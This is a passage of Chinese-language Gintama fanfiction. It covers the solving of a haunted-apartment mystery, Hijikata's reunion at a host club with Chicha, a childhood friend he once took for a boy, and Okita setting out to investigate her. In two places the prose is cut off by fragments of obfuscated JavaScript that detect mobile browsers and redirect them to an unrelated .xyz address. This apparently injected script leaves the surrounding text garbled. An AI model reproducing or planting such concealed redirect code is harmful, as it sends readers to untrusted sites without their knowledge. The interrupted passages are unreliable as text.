银时跟在他们后面,刚才的惊吓和尴尬让他脸颊发烫,幸好在黑暗中也不太能看出来。他偷偷瞥了眼千茶,只见她神色如常,彷彿方才的旖旎氛围只是他的一场幻想。 他大概是寡太久了,竟然连个二十不到的小女孩挨近一点也能让他慌了手脚。 回去是该好好反省了。 三人回到客厅时,神乐和两个孩子不知道在哪里弄来了一些蜡烛,暖黄的烛光照亮了房间的每个角落。银时看着摇曳的烛光,总算松了一口气,刚才的不安也随之消散。 「这些蜡烛是小菊在那边的箱子裏找到的。」神乐説。 千茶走过去,拿起桌上的包装看了看「应该是夏天玩百物语剩下的吧。」 「百物语,那是什麽?」神乐歪着脑袋问道,看来这个游戏在宇宙并不流行。 「百物语是地球上的一种传统鬼故事游戏。」新八边解释,边到她旁边坐了下来「在夜晚点上一百支蜡烛,每讲完一个鬼故事就吹灭一支,传说当最后一支蜡烛熄灭时,真正的妖怪就会出现。」 「我们家每年到夏天都会玩百物语的游戏!」菊説。 浅井家姊妹对鬼怪的态度与银时完全相反——她们不但不害怕,反而对一切未知充满兴趣。光是看春刚才抱着的市松人形,他就能确定这三姊妹是不折不扣的恐怖爱好者。 「这种游戏真的适合那麽小的孩子一起玩吗…」 神乐像在教室发问一样举着手「请问真的会有妖怪出现吗?」 「嘛…我们到现在都未成功説完100个,所以也不清楚呢。」春有所思地?起下巴「要不然下次一起试试看吧?」 「好啊!」 银时打了个寒颤,赶紧抓住神乐的手臂。「喂喂,你这傢伙别乱答应啊!」 「没问题的,就算真的有妖怪出现,姐姐也会替我们解决的。」 以她这娇小的身材,银时实在不觉得她能对付什麽妖怪,况且浅井家也不是什麽阴阳师世家。 「是是是,真要有妖怪的话就交给我吧。」千茶说着,满眼温柔地揉了揉菊的脑袋,细听之下,语气和刚才安抚受惊的银时时一模一样。 难怪她替他顺背的动作那麽熟练,原来是把他当成弟弟在照顾。 想到这一点,银时烦躁地挠了挠头发,心里涌上一股说不清道不明的感觉。毕竟从小就没有兄弟姐妹的他,还是不太习惯这种亲暱。 更莫说,明明他才是年上那方。 他的不自然引起了春的注意,春若有所思地在他和姐姐之间反复打量,然后挪动身子,挤进两人之间。 「对了」她一脸天真地抬起脑袋,看着明显更有破绽的银时「刚才姐姐和银时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「那我可以去把花子带过来吗?」 「不行!」 「好哦。」 银时和千茶同时开口。 两人对视一眼,银时尴尬地轻咳一声。 「我是说,这裏都快坐不下了,再多一个人的话会不会太挤啊?」他急忙为自己的反应找个合理的解释。 「没关係的,花子还小,可以坐我腿上。」菊説着,没理银时的反对便拿着桌上的电筒往房间那端的走廊走去。 「那我传个讯息给花子妈妈,说花子来我们这边了吧。」千茶説着,从口袋拿出手机,按起短讯来。 银时顿时浑身一颤,心裏的吐槽几乎是嚎出来「为什麽你会有花子家人的联络方式?」 「上次和小陆来看房子时交换的。」她説,三两下就把信息发了出去。 「花子,要过来一起玩吗?」 菊的声音在走廊响起,小孩的声綫软软的,却让银时有种不寒而慄的感觉。 「厕所花子」这个都市传说可说是家喻户晓,新八和神乐也被银时的沉默感染,渐渐察觉到气氛的紧张。两人不约而同地挺直了背嵴,警戒地盯着走廊的方向。 烛光映照在牆上,拉出一个巨大的阴影。随着阴影逐渐逼近,脚步声愈发清晰,每一步都彷彿踏在银时紧绷的神经上。 当他鼓起勇气望向走廊尽头时,映入眼帘的是小菊那张天真无邪的脸,怀中还抱着一隻毛茸茸的猴子。 刚才的紧张感瞬间一扫而空。 「花子?」银时满脸困惑地看着那隻猴子,而新八和神乐已经迫不及待地凑上前去逗牠。 「花子是楼上邻居养的宠物,听说她偶尔会跑来这个单位玩。」春解释道,语气中是满满的遗憾「害我还以为这次真的遇到灵异事件呢,真可惜。」 花子用她那双小手拍了拍新八的手臂,他看着花子手背上有一块乾掉的蓝色颜料,忽然想起这间「凶宅」的血掌印传闻。 「难道以前的住客説看到小孩子的血掌印,就是花子留下的?」 千茶点点头,了当地承认了「对,花子的主人是个画家。据说花子有段时间很喜欢玩颜料,不过后来被主人发现她到处捣乱,就强迫她改掉。」 「所以刚才小银在洗手间看到的那隻手,其实是花子帮忙递抹手纸吗?」神乐问。 花子似乎听懂了他们在谈论她,便跳上茶几,从桌上的纸巾盒里抽出一张面纸,递向银时。 银时看着那张递到面前的纸巾,神情有些複杂。 众人都忍不住笑了起来,神乐和新八更是笑得前仰后合,脸都涨得通红。神乐一边指着银时哀怨的表情,一边擦着笑出来的眼泪。 「什麽嘛,小银你居然被这麽可爱的花子吓得脸色发白。」 银时不甘心地瞪了花子一眼,但猴子只是天真无邪地朝他眨眼。他叹了口气,最后还是接过那张纸巾。 「喂,花子的事,你是知道才搬过来的吗?」他转向一直像在旁看戏的千茶。 她不置可否地笑笑「嘛,我只知道这里的租金很便宜,至于什麽凶宅、什麽内情我都不知道。」 他狠狠瞪了眼这个明知实情却隐瞒不报,眼睁睁看着他胆战心惊整整一周的少女。 「你就是故意瞒着我,好把我当小丑看戏吧?真是个性格恶劣的女人。」 「我可没有那麽恶趣味。」千茶耸耸肩,脸上还是挂着那抹意味深长的笑容「不过就结果来説,是挺有娱乐性的。」 「喂喂,这不就等于承认了吗!」银时抗议道,说着又想起刚才在房间发生的事「刚才在你房间,那些绊倒我的电线肯定也是你故意放的吧。」 千茶有点意外地眨眨眼睛,像是对这个指控毫无头绪「什麽电线?我房间里的电线都已经绕得好好的,那会有什麽能绊着人电线?你刚才不也是跟我一起整理的吗?」 「银桑,你别那麽孩子气吧?自己绊倒还推别人身上。」新八无奈地瞥了眼银时「我刚才在茶茶小姐的房间可没看到地上有什麽电线呢。」 银时顿了顿,认真打量着二人,他们的表情倒不像是在撒谎,可他确实被什麽给绊住了两次。他有一瞬间怀疑过会不会是花子,可是照理来说牠这个体型不可能有那种重量和力度把他绊倒。 正当他陷入沉思之际,一阵微风从窗外吹来,带动了窗帘轻轻摆动。银时忽然想起,两次被绊倒的时候,耳边都有一阵诡异的凉风?? 「要不是电线的话,那麽绊着我的,到底是什麽…」 「你有没有想过,这里被称为凶宅的原因,可能跟那些掌印无关?」千茶听见了他的自言自语,她转过头,凑到他耳边低声说。 银时瞪大了眼睛,一股寒意从嵴椎窜上。 先说明,这只是他大胆的推测,仅仅是推测?那些绊倒他的「电线」,有没有可能根本就不是实体存在的? 他乾笑了几声,像是在替自己壮胆,晃着脑袋试图把那些「推测」置之脑后。 「我才不会再上你的当,你绝对又在胡说。」 「嘛?谁知道呢。」 7. 少年就像毛虫,完全变态后便会蜕变成少女^…… 儘管土方十四郎不太喜欢夜店这种场合,但因为兄弟喜欢上了一位在那里工作的公关小姐,他偶尔还是得陪着应酬。 那是志村妙生日的前夕,店裏为她举办了一场生日会,邀请了她的常客们。表面上是庆祝,实际上不过是为了狠狠宰他们一顿。 作为她的熟客之一,近藤勋自然被邀请出席。但他深思熟虑后,担心自己可能会在她的生日会做出冲动的事情而破坏气氛,于是死缠着土方陪同前往,好在必要时制止他。 当他们抵达现场时,才发现在场超过八成都是熟面孔。 万事屋的那些傢伙、柳生家的假小子、还有些他喊不出名字却又觉得眼熟的龙套。 「可恶,早知道我也喊多点人过来。」近藤不忿地説着。 土方不明白有什麽好比较的,况且近藤一开始不过是想让他陪着来送礼物罢了。 把心意和礼物好好交到对方手里不就够了吗? 他们虽然称得上是挚友,但有时候他也搞不懂这个人到底是变态还是纯情派,当了人家那麽久的跟踪狂,现在却连送份礼物拿不出勇气。 就算他把整个真选组都叫来,礼物终究还是得由他亲手交给阿妙小姐。 土方拿着杯子,避开人群,找了个无人的角落坐下,默默点起一根烟。 吸了两口才发现桌上没有烟灰缸,正当他想着该怎麽处理快掉落的烟灰时,旁边便递来了一个乾淨的烟灰缸。 「请用吧。」 「谢谢。」他接过烟灰缸,手指轻夹着香烟在边缘轻轻抖落烟灰。 「这位客人,你不过去和阿妙小姐説説话吗?」 耳边响起一道温柔的女声,听起来莫名熟悉,却又想不起在哪里听过。 「我只是陪别人来送礼物而已。」他冷淡地回应,语气中满是想打发人的意思。 「那不是更该过去一起凑凑热闹吗?」女人边说着,捧起酒瓶,替他斟了半杯酒。 他皱了皱眉头,不着痕迹地往旁边挪了一点。他向来不喜欢陌生人做这种过于亲近的行为,下意识地瞥了一眼已经坐到他身旁的女人,那份熟悉感越发真实。 柔顺的金发在耳边扎成低马尾,发尾是染成渐变的黑茶色,随着倒酒的动作轻轻摆动。白皙的肌肤在灯光下泛着细腻光泽,水色的桃花眼微垂,睫毛在眼下投下一片淡影,高挺的鼻樑与柔和的下颚线条勾勒出精緻轮廓。 儘管比记忆中多了点脂粉,但这张脸他绝对不会忘记。 「千?」他试探地喊了一声。 女人僵硬地抬起头来,当她与他四目相对时,瞳孔闪过一丝震惊,彷彿此刻才真正看清了他的面容。 气氛瞬间变得无比尴尬,就像网恋对象聊了几个月后终于鼓起勇气约出来见面,却发现对方竟是自己的亲兄弟。 空气中瀰漫着一股难以言喻的寂静,与那边热闹喧腾的生日会形成了鲜明的对比。 浅井千茶从未想过会在歌舞伎町的夜店里碰到土方十四郎,即使是平日能言善道的她,此刻脑袋也是一片空白。 他们的相识可以追溯到几年前。 当时浅井家正经历严重的内斗,她的父母为了保护她和年幼的春,便对外宣称女儿们染上怪病,暗里将她们送到娘家避风头。 自从大哥离世后,千茶便沉迷于剑道。到了津田家后,除了日常作息和上门授课的时间外,她几乎整天都泡在道场。后来更是捨弃了那些华丽的衣饰,把道袍当作常服。 而她就是在那个时候遇到近藤勋一行人。 沉默半饷,最后还是土方先打破了这份沉默。 「真的是你啊...」他有点生硬地説着,从头到脚打量起面前的人「你怎麽会在这里?」 见他反应平淡,她也没了顾忌,脑袋逐渐回復清明,并随即切换到营业模式,想眼前的客人展露出灿烂的笑容。 「这不是很明显吗?这位客、人。」 「这家店请男人的吗?」 随着土方的问题,千茶脸上的笑容一瞬间冻结。 她还以为他刚才的沉默,是在消化「昔日那位家境富裕的旧友原来是个女孩子,如今还在歌舞伎町当起了公关」这件事。怎料这个人从头到尾都没搞明白状况。 是的,儘管他们在她家借住了半年,天天一起用膳、练剑,却始终没人察觉她是个女生。 她承认当时为了隐藏身份,就算知道他们把她当作男生也从未解释。 但她也没想到,面前这个人竟然迟钝到这种地步。在一间除了黑服便全是女性的公关俱乐部里,把亭亭玉立的少女当作男生。 「你看我现在这个样子还像男人吗?」她脸上虽然挂着笑容,但语气中隐约透着一丝不满。 土方吐出一缕烟,眼神闪向一旁「抱歉,我不是那个意思。」 他沉思良久,最后支支吾吾了一句「手术做得挺好的。」 「你这双眼睛既然没用,不如捐出去给需要的人吧。」她脸上的笑意更深了,随手拿起旁边乾淨的杯子,替自己斟了杯酒,自顾自地喝了起来。 土方自认刚才的话已算是挺客气了,她却好像不太满意。 这种时候他特别希望总悟在场——总悟一定会直接对她说几句失礼的话,然后他就能顺理成章地在旁边吐槽,再顺便教训总悟。 「那个…我不太清楚这种事,所以你现在到底是那个阶段?还在吃药吗?」 他的迟钝程度让千茶难以置信。 她环顾四周,确认无人注意这边后,凑到他耳边,咬牙切齿地压低声音「我跟你说最后一遍——老娘从出生开始,两腿之间就从来没长过那玩意。」 「啊?你还真当自己是女人?」 「不然呢?」 回忆突然涌入脑海,土方一脸震惊地瞪大了眼睛,烟灰不小心掉在了衣服上。 「你一直都是女的?」 千茶没有回话,只是用一种看笨蛋的眼神瞥了他一眼。 - 那是盛夏最炎热的时分。 当时的真选组还未成立,还是只是一群来自乡下道场的浪人。他们追随着大将离开了武洲,踏上上京路,为自己的未来豪赌一场。 那时的交通和通讯并不发达,往来武洲和江户也不像现在能靠交通工具轻松解决。 途中,他们来到一座城,这里的城主对武士浪人格外宽容。自废刀令实施后,大批迷途武士聚集于此,其他藩国的大名甚至会特派人员前来招揽人才。 商讨过后,他们决定暂时在那裏落脚,先待一段时间,看看能否博得一线生机。 由于众多浪人都怀着相同想法,当地住宿费用变得相当昂贵。对于这些乡下来的浪人而言,确实是一笔不小的开支。虽然人多可以分摊费用,使人均支出变得可以接受,但一群大男人挤在一间小房子里,还正值盛夏时节,生活品质可想而知… 为了让大家过上更好的生活,近藤每天都会抽空到不动产公司留意最新的租屋情报,试图寻找价格和大小更相宜的住处。 土方得知此事后也跟着他四处奔波,后来冲田也加入了这个行列。 某天,他们像往常一样在路上走着,向相熟的商铺打听消息。突然,一个衣着光鲜亮丽的小女孩从路边的小巷冲出来,在街上喊着救命。这小女孩看上去不过四五岁,但任她怎麽哭喊,路人都无动于衷。 在那个动盪不安的年代,人们都不愿对陌生人伸出援手,深怕一时的善心反而会为自己带来麻烦。 但近藤勋向来就是个心思简单的烂好人。 他完全无视同伴的迟疑,毫不犹豫地上前。 小女孩紧紧抱着近藤的大腿,哭得撕心裂肺,话都说不清楚,却摆出了一副不答应她的请求就绝不松手的架势。 就像刚才说的,近藤勋是个烂好人。 他们随着小女孩在巷子里左拐右拐,穿过好几个街区。眼前景象不断变换,最终来到一处人烟稀少的郊外。 土方和冲田交换了个眼神,两人都怀疑这是个圈套,但看见近藤依然深信着小女孩,他们也只能跟上去。 小女孩在一个荒废的农场停了下来。 农场的泥地上散落着几具倒下的身影,血迹斑斑的木棍和石块四处可见。静谧的空气中只听得见粗重的喘息声。 一个容貌与小女孩相似的少年跌坐在地上。他身前站着两个握着木棍的混混,身后则躺着好几个已经爬不起来的人。从这些人的装扮来看,他们显然都是同一伙的。 少年看起来比冲田年长一些,脸上和身上挂满伤痕,身上的道服也因为打斗而变得肮髒不堪。 而那个「少年」,就是浅井家的大小姐——浅井千茶。 听见身后的动静,混混们本能地转过身。就在这瞬间,千茶抓准机会,一把夺过其中一人的木棍,同时挥出一记漂亮的勾拳,直接将人击飞。另一个混混还没反应过来,便被她一棍敲中脑袋。 混混们倒在地上痛苦呻吟,但她并没有进一步追击。她已经没有多馀的力气了,只能勉强着用木棍撑着身体,一边喘着粗气,身上的伤口因为激烈的动作而渗出血来。 近藤见状,立即上前想替她查看伤势,可她没有领情,而是举起棍棒指着他。 「你们是什麽人?」少女的声音虽有些颤抖,眼神却充满警戒。 「我们是路过的浪人。」近藤并没有因她的无礼而生气,反而举起双手以示友善「那个小女孩应该是你的妹妹吧?我们在街上遇见她求救,所以跟过来看看还没有什麽能帮忙的。」 千茶仔细打量着眼前这三个人,最后目光回到近藤身上,握着木棍的手渐渐放松下来。 「谢谢你们。」她低头道谢,语气中不再带有敌意。 春擦了擦眼睛,嘴裏含糊不清地喊着她的名字,然后朝她的方向飞奔。 她却在此时往后退了一步。 「小春别过来,我身上髒。」 「那我就跟你一起髒。」春没有理会姐姐的阻挠,过去紧紧抱住她的腰,然后把脸埋进她髒兮兮的衣服里。 眼泪沾湿了千茶的衣角,但她已经没有力气再推开了。 千已经没力气在回话了。 见她的态度软化下来,近藤再次上前想为她检查伤势,却被婉转地拒绝了,她反而向他们提出了另一个请求。 土方搀扶着千茶,领着众人来到一处豪华的府邸前。守门的人远远看清千茶和春的脸,立即赶出来迎接。 他们穿过一条长长的走廊,沿途的侍女们纷纷低头行礼,恭敬地称呼着「千大人」和「春大人」。 他们从未见过如此场面,正想向千茶探个究竟时,只听见她轻声向旁边的侍女吩咐。 「这三位是我们的恩人,请让外祖父好好款待。」 话音刚落,她便昏倒过去。 在她昏过去后,场面一度变得非常混乱,最后还是主家及时赶到,控制了局面。 这栋气派的建筑是津田家的府邸。津田家曾是一个显赫的武士家族,其地位之高,连现任城主家都曾是他们的家臣。然而,由于人丁单薄、后继无人,再加上废刀令的影响,老爷子的儿子最终选择转型经商。 为了答谢这几个救了他孙儿的浪人,津田老爷子特意邀请他们留下来吃晚餐,并让人拿出最好的酒菜款待。 津田老爷子问起了他们的来历和在城内的打算。他们如实相告后,老爷子便以答谢为由,邀请他们一行人暂住在府上。 于是,他们在津田家住了下来。不过,他们始终没再见过那两个外孙,听说一个被迫在房里养病,另一个则因爲连累手足而被老爷子禁足。 虽然津田家正逐渐转型为商家,但他们的道场依然维持得很好,各种练习器具一应俱全。老爷子偶尔兴致来了,还会亲自指导他们剑法。 一天清晨,浪人们用过早餐后缓步走向道场,准备开始新一天的剑术练习。然而,当他们推开沉重的木门时,却发现道场里已经有道挥舞木刀身影。 每一个动作都乾淨俐落,充满力量。 看清那张脸后,近藤立即上前关心千茶的身体状况。确认她的伤势连带感冒已经完全康復后,才放下了悬着的心。 他们也是后来才从僕人口中得知那件事的来龙去脉。 那天,千茶正因重感冒在家休养,春一个人在家觉得无聊,便独自偷跑出去,她一身华丽的衣着亦不幸地引来了人贩子的注意。门外没了妹妹吱吱喳喳的声音,千茶察觉有些不对劲,这才揭发春的失踪。她立即调动人手外出寻人,自己也顾拖着病体出门。 然后就发生了后来那一幕。 她以一敌众,让妹妹跑回家找支援,但最后带来救兵的却是这几个陌生的浪人。 能以一敌众战胜拿着「武器」的成年人,她确实有几分本事。从那天开始,冲田总悟就一直期待着与她再见面,尤其想和她切磋一场。 近藤上前关心千茶的身体状况,确认她已经完全康復后才放下心来。 土方让他他别胡闹,毕竟对方才刚病癒。不过千茶本人倒是不在意,爽快地答应了。 她们的对决吸引了道场里所有人的目光。 木剑相碰的声响此起彼落,冲田的进攻凌厉果断,而千茶则以灵活的身法巧妙化解。这场激烈的对决持续许久,最终以平手收场。 后来,他们亦因此成为了不打不相识的好友。 像所有富裕人家一样,她必须面面俱到。每天虽然得上各式各样的课程,但只要一有空,她就会往道场跑。 也许是因为双方都缺乏同龄的朋友,冲田和千茶很快就变得形影不离,每天不是一起吃饭、捉弄土方,就是练剑,再捉弄土方。 他们会之间总是有很明确的分工,像是一个在土方的蛋黄酱裏混芥辣、另一个就会在他的茶里加无色无味的辣素。每次他们都会被土方追着满屋子跑,但他们依然乐此不疲。 有一次,冲田骗土方说蛋黄酱能替代汽油驱动车辆,土方竟然深信不疑,直接往津田家的一辆豪车里倒进了蛋黄酱。 事情发展到最后,冲田被土方绑到山上去了,而知情的千茶因为向揭发此事的自家下人承认是自己的主意,才逃过了土方的追捕。 她很早就发现他们把自己当成男生,但一直没有澄清这个误会。老爷子明白她是怕失去这些难得的朋友,也就默许了这件事,只叮嘱她要注意分寸。 有次,他们一群男生打算去澡堂,路上碰见了她,便邀她一起去,她想都没想就拒绝了。有人笑她畏畏缩缩不像个男子汉,她只是耸耸肩,转身拉住路过的几个侍女,问她们能不能陪自己一起洗澡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940190|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 侍女们都笑着点头答应。 「我有香香软软的大姐姐陪着,干嘛要跟你们这群臭男人挤在一起?」 她的语气中带着一丝得意,原本还在嘲笑她的人们顿时哑口无言。 又有一次,他们发现她在走廊捧着一堆书,因摆放不稳掉了满地,便上前帮忙捡拾。 没想到全是封面清凉的写真集,但当这些读物被发现时,千茶不但毫无羞涩,反而泰然自若地向他们推荐起来。 这样一来,他们更加深信她是个早熟又风流的小少爷。 现在回想起来,当年的许多事都说得通了。比如她即使在酷热天气下,仍然坚持穿着长袖,甚至受伤时也拒绝让近藤检查伤势,还有每次邀请她去澡堂都会拒绝。 也许是因为她那时年纪尚小,女孩子发育得早,身板和冲田相彷,甚至还比他高了几公分。若她像九兵衞那样骨架已经长定,他至少在离开津田家前就会察觉到了。 难怪当时津田老爷子对他们的「举手之劳」那麽感激。 他这才意识到自己是多麽迟钝,这麽明显的蛛丝马迹都没有注意到。 「你……真的是女人吗?」思绪回到当下,他垂眼看着面前正为他扫去衣领上烟灰的千茶,再次确认。 「我不是说过了吗?」她叹了口气,语气中带着一丝不耐烦「老娘在母亲肚子里就已经是女人了。」 土方抿着唇,一时之间不知道该説什麽好。 心头顿时涌上一股尴尬,毕竟当时大伙还跟她分享过不少男人之间的话题,甚至听说有人会向她借书来当小菜。 现在回想起来,她若是女孩子,那麽…他们真选组究竟在她面前干了多少失礼的事。要是她有天想不开去和传媒报料,那么… 一想到这裏他就沉默了下来,吸了一口烟。 她像是察觉到他的想法,露出一个安抚似的微笑「放心吧,我不会把你喜欢〇〇Play的事告诉其他人的。」 土方被自己的烟呛到,咳得满脸通红。千茶轻轻拍了拍他的背,递上酒杯「别紧张,喝口酒缓一缓吧。」 他接过酒杯,狠狠瞪了千茶一眼,但她只是无辜地眨眨眼睛,在与他对上视线时露出浅浅的微笑。 「那本书明明是你硬塞给我的!」 「哦…那你能而武士之名发誓你没看过吗?」 土方一时语塞,尴尬地移开了视线。他绝不承认自己把那本书翻了个遍,但从千茶脸上那抹意味深长的笑容就能看出,他所有的嘴硬和掩饰在她面前都无处可藏。 多年过去,她依然像当年那个爱和总悟一起捉弄他的混小子。 他低头灌起裏面的酒,试图让自己的心绪平復下来。 「乾杯~」千茶看着土方窘迫的样子,得意地举起酒杯,强制和他碰杯。 「你真的在这裏工作吗?」 千茶从随身的包裏掏出一个名片盒,然后拿出了自己的名片,像平时接待客人时一样双手递上「记得在店裏要叫我茶茶。」 土方接过名片,上面印着的是「茶茶」两个字,还有店裏的地址和她的联络方式。 他很想问她为何会来到江户、怎么会当起公关来,但又怕问得太多会冒犯到她。毕竟事隔多年,已无法像从前般无所顾忌地交谈。 「对了,那个…津田先生还好吗?」 「他已经不在了。」 出师不利。 想到那个对热情的老人,土方心裏有堵,一时之间不知该如何接话。他想着是不是该安慰她两句,但又怕说错什麽,只好沉默地喝了一口酒。 「嘛…他那时已经九十多了,不用太介怀。」她低头看着手中的酒杯,轻轻摇晃着里面的液体。 「倒是你们,现在混得如何?」 「还过得去吧,总算混了个公务员当当。」 「不错嘛~」她喝了一口酒「那你和近藤先生、总悟他们还有联络吗?」 他向人群的方向抬抬下巴「总悟今天值班没来,但近藤先生的话…你要过去跟他説两句吗?」 她顺着他的视线看过去,一个身材高大的男人正缠着阿妙说些什麽,然后被她一手将头塞在放酒的冰桶中。 「他看来不太有空呢。」她轻描淡写道,脑内响起阿妙和她説的话。 「难不成近藤先生就是小妙说的那个跟踪狂吗?」 土方虽然不太想承认,却无法反驳。 「那他还是像以前一样,是个直率的人呢。」 看着她那调侃的笑容,当年在津田家的片段像跑马灯般在脑海里闪过。正当此时,那边传来近藤的惊呼打断了他的思绪。 他把头卡在水桶里了。 「嘛,我也是时候要下班了,今天要早点回去给妹妹们看作业。」她低头看了眼手錶,忽然説道,明显是想和那边脑袋被卡住的大猩猩撇清关係。 「你们干这行的可以自由上下班的吗?」 「客人们都走得差不多了,现在还留下来的都是小妙的熟人,我就不在这裏碍事了。」 「店里不会有意见吗?」 「管他的,反正我这个月的业绩在上週就超额完成了。」 她这种不把规矩放在眼里的态度,和某个今晚值班所以没来的傢伙还真像。 「怎麽了?该不会捨不得我走吧?」说着,她朝他靠近了些,一缕若有似无的清甜香气飘进鼻间。 「蛤?我才不…」 「不跟你玩了,你去救你兄弟的时候,顺便替我跟阿妙小姐说一声。」千茶没耐心等他回话,放下手里的杯子,整理了一下衣服「有空的话再来找我喝酒吧,要是能开瓶香槟就更好了。」 她没给他回应的机会,便起身离开了。 土方望着她离去的背影,心中萦绕着诸多疑问,但这些谜团看来今晚是无法解开了。他轻叹一口气,将她递来的名片收进怀中。 他还得去解救还在和冰桶搏斗的上司。 「茶茶呢?你们刚才不是还在聊天吗?」 阿妙早已注意到千茶和土方在角落处聊天,此时见他独自走来,不见千茶的身影,便开口问道。 「她说今天想早点下班,让我顺带跟你说一句。」土方説着,边把近藤从冰桶中拔出来。 「真是的,真选组的架都要比你丢光了。」 「谢谢你了,十四。」 「这样啊…」阿妙打量着面前众人带来的蛋糕,挑了个最稳妥的递给土方。 「能麻烦你替我把这个拿给她吗?太多蛋糕我们也吃不完,让她带回去和妹妹们一起吃吧。」 土方拿着蛋糕离开了店面,他按着阿妙的描述绕到后门,千茶刚和其他的女孩们道别,转身正要离开。 「千,等一下。」土方叫住了她。 「阿啦,不是真的捨不得我吧?」她调侃道,他并没有着她的道,只是阿妙交託的蛋糕递上去。 「阿妙小姐説让你把蛋糕带回去和妹妹们吃。」 千茶凝视着蛋糕盒好一会儿,脸上的表情比起刚才柔和了许多。 「替我谢谢小妙。那麽,下次再见了,十四。」 她的身影渐渐消失在夜色中,土方转身回到店里。这才过了没几分钟,近藤已经和万事屋老闆喝得东倒西歪。 看来也是时候把他送回屯所了。 8. 青梅竹马的重逢说不定是修罗场的开始 即使在工作日的白天,歌舞伎町依然人来人往。 冲田总悟坐在路边的长椅上,耳机里放着前些日子录好的落语,百无聊赖地看着来往的行人。偶尔有路过的女孩子向他投来好奇的目光,但他一个眼神都没给他们,只是漫不经心地按着手里的iPod。 最近的生活过得有点千篇一律,手上的案子没什么头绪,每天除了巡逻就是处理文书(虽然大部分都推了给土方)。 这样单调的日子让他有些生厌。 然而今天早上,他终于找到了能让这无聊生活变得稍微有趣的新乐子。 那个一向保守克己、不近女色的「正经人」土方十四郎,平时听到黄段子就会恼羞成怒,如今竟然被他发现私藏着一张女公关的名片。那一瞬间,他的心情就像在神社抽到大吉签的女高中生。 毕竟搞垮土方的人生可是冲田总悟的毕生信仰,还有什么比在土方的恋爱路上制造障碍更令人兴奋呢? 为了得到更多情报,他决定首先去找近藤打听打听。毕竟他们前些日子一起去过Smile喝酒,相信应该能够给他提供一些有用的线索。 「什么?!十四有了在意的女人吗?」 从近藤那么大的反应来看,他显然对这件事并不知情,但冲田并没有就此放弃。 「似乎是某间店的公关呢。」他漫不经心地说道,想引导对方回忆起更多细节「你们上次不是一起去了一趟smile吗?近藤先生有什么印象吗?」近藤皱起眉头,陷入沉思,一边若有所思地摸着下巴。 经总悟这么一提,他想起当时确实看见土方和一位金发女生一起喝酒? 土方一向喜欢一个人喝酒,就算在某些不得已的场合,和幕府的高层到夜总会应酬,他也不喜欢让女孩子们坐在身边。然而,那天他却反常地和一个女孩子坐在一旁喝了许久的酒,还是有说有笑的。甚至后来她凑过去帮他扫走衣领上的烟灰,他也没有回避。 这完全不像他们所知的土方十四郎。 「金发?」冲田挑了挑眉,捕捉到重点。 「啊…说是金发,但发尾的地方颜色有点深,听阿妙小姐说是叫茶茶还是什么来着。」 当时见土方表现得那么反常,他还特地向阿妙打听了那位女孩子的名字。不过这些都是在他酒醉之前的事,现在回想起来已经有些模糊了。 「茶茶啊…」冲田重复着这个名字,眼神闪过一丝兴味。 在战国时代,就有一位著名的恶女叫茶茶。 她的母亲是织田信长的妹妹、被誉为「战国第一美人」的织田市。相传,阿市的三个女儿都继承了母亲的倾城之姿,其中长女茶茶尤为出众。然而,命运无常,在经历家族衰落与亲人离散后,茶茶嫁给了年过五旬的丰臣秀吉,成为他的侧室。她为秀吉生下一子,并在其去世后继承丰臣家。 这位歌舞伎町的「茶茶」必定对自己的美貌十分自信,才会选择这个名字,再依照历史上那位的故事编造出一段凄美坚强的身世。不管是头脑单纯的大叔,还是满怀救赎情结的正义魔人,肯定都很卖帐。 以土方那种嘴硬心软又容易被骗的性格,要是真的信了她那副说词,肯定不出多久就会在她身上大把花钱。身为真选组的第三把交椅,他怎能眼睁睁看着局长和副局长把薪水都挥霍在陪酒女身上?这要是传出去,不就坐实了他们税金小偷的名号了吗? 既然如此,他就要帮土方先生改掉轻信他人的坏习惯了。冲田心想,嘴角勾起一抹恶作剧般的笑容。 他开始思考要怎么让土方出丑才好。 如果能拍到土方和女公关在酒吧亲密互动的照片,再卖给媒体,也许就能以浪费纳税人金钱为由,趁机把他从副长的位置拉下来。 想想就让人兴奋。 不过,在采取行动前,他得先搞清楚这个「茶茶」究竟是什么来头。 虽然在心里他早已有了定论。 他打算今天去Smile看看,但现在时间尚早,得在店开门前找个地方消磨时间。 就在他考虑着要不要找个地方睡个午觉时,远处突然传来一阵激烈的吵杂声,打断了他的思绪。 他抬起头,循着声音的方向望去。 人群中,一个中年妇人正用力拉扯着一个年轻女子的衣袖,脸色涨红地大声斥骂,引起了不少路人的注意。 那个年轻女孩和近藤描述的一模一样,金色长发扎成高马尾,发尾染着一抹如浓郁咖啡般的深茶色。 从这独特的发色和在歌舞伎町的出现,他几乎可以确定她就是让土方对著名片发呆的茶茶。 即使隔着一段距离,冲田也能从她精致的侧脸看出她是个难得一见的美人。她身着一件剪裁考究的米色小纹和服,搭配湛蓝色的腰带。虽然她的身材不算特别高挑,但那千金小姐般优雅的体态与气质弥补了这一点。 原来土方先生也是个会被美人吸引的俗人啊。 冲田在心里暗暗嘲笑着,目光跟随着那两个引起骚动的女人。天倒是给了他一个绝佳的机会,能够不费一分一毫就能近距离观察这位让土方破戒的女人。 妇人的声音尖锐得刺耳,在熙来攘往的街道上显得格外突兀。 「你这个不孝女,现在还在想着男人,你爸病得这么重,医生说随时都可能不行了!你怎么还能这么无情,快点跟我回去看他最后一面!」她的声音带着哭腔,情绪看着甚为激动。 女孩子淡淡地瞥了她一眼,脸上浮现出一丝困扰,拨开她紧抓着自己的手「大婶,你认错人了吧?我不认识你,请你别这样。」 妇人歇斯底里的声音引来不少路人围观。她紧抓着女孩的手臂不放,指甲都快陷进肉里。 